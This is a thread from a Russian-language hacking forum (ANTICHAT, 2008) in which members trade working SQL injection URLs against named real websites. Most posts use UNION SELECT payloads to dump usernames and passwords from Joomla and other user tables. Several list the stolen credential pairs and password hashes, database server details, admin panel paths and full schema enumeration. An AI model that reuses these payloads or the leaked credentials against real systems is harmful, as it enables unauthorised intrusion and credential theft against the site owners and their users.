HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4561  
Старый 23.01.2008, 16:02
ХаЬа
Banned
Регистрация: 18.01.2008
Сообщений: 6
Провел на форуме:
29103

Репутация: 25
По умолчанию

http://www.tredu.net/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*
http://www.fiestaintunisia.com/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*
http://www.mojsalon.net/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*
http://www.el-edu.com/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*
 
Ответить с цитированием

  #4562  
Старый 23.01.2008, 16:10
db_reader
Новичок
Регистрация: 23.01.2008
Сообщений: 15
Провел на форуме:
20588

Репутация: 63
По умолчанию

Привет.
Я новенький, решил зарегистрироваться .
Вот нашол скулю:

www.southworth.com

Цитата:
http://www.southworth.com/page.php?id=-152+union+select+concat_ws(0x3A3a,password,usernam e,id)+from+users+limit+0,1/*
_http://www.southworth.com/catalog/admin/

^^^Там админку вроде нашёл, но мэйл для входа вывести не могу .

Версия 4.1.20
 
Ответить с цитированием

Page Rank 5
  #4563  
Старый 23.01.2008, 19:04
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468

Репутация: 1224


Отправить сообщение для it's my с помощью ICQ
По умолчанию Page Rank 5

Код:
http://steve-o-meter.com/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM+jos_users/*
http://www.freegaming.de/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM+jos_users/*
http://www.bljesak.info/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM+jos_users/*
 
Ответить с цитированием

  #4564  
Старый 23.01.2008, 20:05
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

www.gnn.tv может и боян - не проверял...
Код:
_http://www.gnn.tv/articles/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat(version(),0x3a,user(),0x3a,database()),12,13,14,15,16,17,18,19,20,21,22,23/*
 
Ответить с цитированием

  #4565  
Старый 23.01.2008, 21:11
frigid20
Новичок
Регистрация: 19.01.2008
Сообщений: 19
Провел на форуме:
71644

Репутация: 11
По умолчанию

http://www.stchristopherclub.com/sub/pics.php?id=-1+union+select+1,concat(user,0x3a,password),3,4+fr om+mysql.user/*
root:1af55af32fcea9dc : 222111


http://www.agir.ro/articol.php?id_articol=-1+union+select+1,2,concat_ws(0x3a,username,passwor d),4,5,6,7,8,9,10+from+agirro_forum.agir_users+lim it+10,1/*
Gabriela:6f0f8609a2d424426fd0040d9ebff04e4c186b45

http://www.uvacres.org/faculty_page.php?id=1+union+select+1,2,3,4,5,6,use r,password,9,10,11,12,13+from+users/*
 
Ответить с цитированием

  #4566  
Старый 23.01.2008, 23:15
fobofob
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
Провел на форуме:
1373642

Репутация: 569
По умолчанию

Оператор связи cmda-стандарта в Узбекистане
5 мускул,вывод все сразу

http://www.cdma.uz/index.php?action=news&news_id=-608+union+select+1,concat(table_schema,0x3a,table_ name,0x3a,column_name),3,4,5,6,7,8,9,10,11,12,13,1 4,15+from+information_schema.columns/*

админко:

http://www.cdma.uz/admin/admin
 
Ответить с цитированием

  #4567  
Старый 23.01.2008, 23:20
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

www.gamesprut.ru
Цитата:
http://www.gamesprut.ru/news/?fln=-13+union+select+1,2,3,convert(concat(username,0x3a ,password),binary),5+from+cht_reg_users+limit+0,1/*
http://www.gamesprut.ru/frm/
SteelBear:d9b798fe05e2c739497125afe8bcdf79
Барс:318388c5ff8b380662b1d076971998f2
Hotel-15:8cca069025b8d1f4b96ac805dbc0eaa3:21071975
http://www.gamesprut.ru/phpmyadmin/
пасса от этого не нащёл
 
Ответить с цитированием

  #4568  
Старый 24.01.2008, 02:39
db_reader
Новичок
Регистрация: 23.01.2008
Сообщений: 15
Провел на форуме:
20588

Репутация: 63
По умолчанию

www.healthyskepticism.org

PR5 тИЦ -30 (что это ? )

Цитата:
http://www.healthyskepticism.org/news/issue.php?id=-15+union+select+1,2,concat_ws(0x3A3a,name,password ),4,5,6,7+from+admin/*
Peter Mansfield::1a45d46f063cb5fd
 
Ответить с цитированием

  #4569  
Старый 24.01.2008, 11:06
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Код:
http://comp-neat.ru/index2.php?GoAndRun=catalog&ID=-1+union+select+1,2,3,4,char(0xea,0xf3,0xf1,0xee,0xea,0x20,0xe4,0xe5,0xf0,0xfc,0xec,0xe0),2,7/*
 
Ответить с цитированием

  #4570  
Старый 24.01.2008, 11:14
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

9to5.org
Код:
_http://www.9to5.org/action/index.php?story=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10/*
4.1.21-community-nt:toorg1@69.24.64.105:toorg1

www.orionbag.com
Код:
_http://www.orionbag.com/index.php?story=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database

()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
5.0.24A-STANDARD-LOG:ONIONBAG@NECCO.DREAMHOST.COM:ONIONBAG
47 Таблиц:
Код:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
COPA_CHART
COPA_TEAMS
FFA_AP
FFA_ASARC
FFA_ASCORE
FFA_BLOG
FFA_LA
FFA_LEAGUE
FFA_PLAYER
FFA_PSARC
FFA_SCORE
FFA_SEASON1
MAILLIST
ORB_IMAGE
ORB_ISSUE
ORB_POST
ORB_STORY
T_BLOG
T_IMAGE
T_ISSUE
T_LINKS
T_LINKSRANK
T_LINKSRATE
T_POST
T_STORY
T_USER - интересная таблица, поля USERID,USERNAME,SP3SHUL,PROFILE,ACTIVATED,EMAIL,
MODIFIED,CREATED,TYPE,NAMECHECK,MAILLIST

T_USERCOPY
WC_CHART
WC_GTOTALS
WC_TEAMS
WC_VENUE
Смотрим поля таблицы t_user
Код:
_http://www.orionbag.com/index.php?story=-1+union+select+1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=char(116,95,117,115,101,114)+limit+1,1/*
Смотрим записи таблицы t_user
Код:
_http://www.orionbag.com/index.php?story=-1+union+select+1,concat(USERID,0x3a,USERNAME,0x3a,SP3SHUL,0x3a,PROFILE,0x3a,ACTIVATED,0x3a,EMAIL,0x3a,MODIFIED,0x3a,CREATED,0x3a,TYPE,0x3a,NAMECHECK,0x3a,MAILLIST),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+t_user+limit+0,1/*
Юзер походу один...

Последний раз редактировалось -=lebed=-; 24.01.2008 в 14:53..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ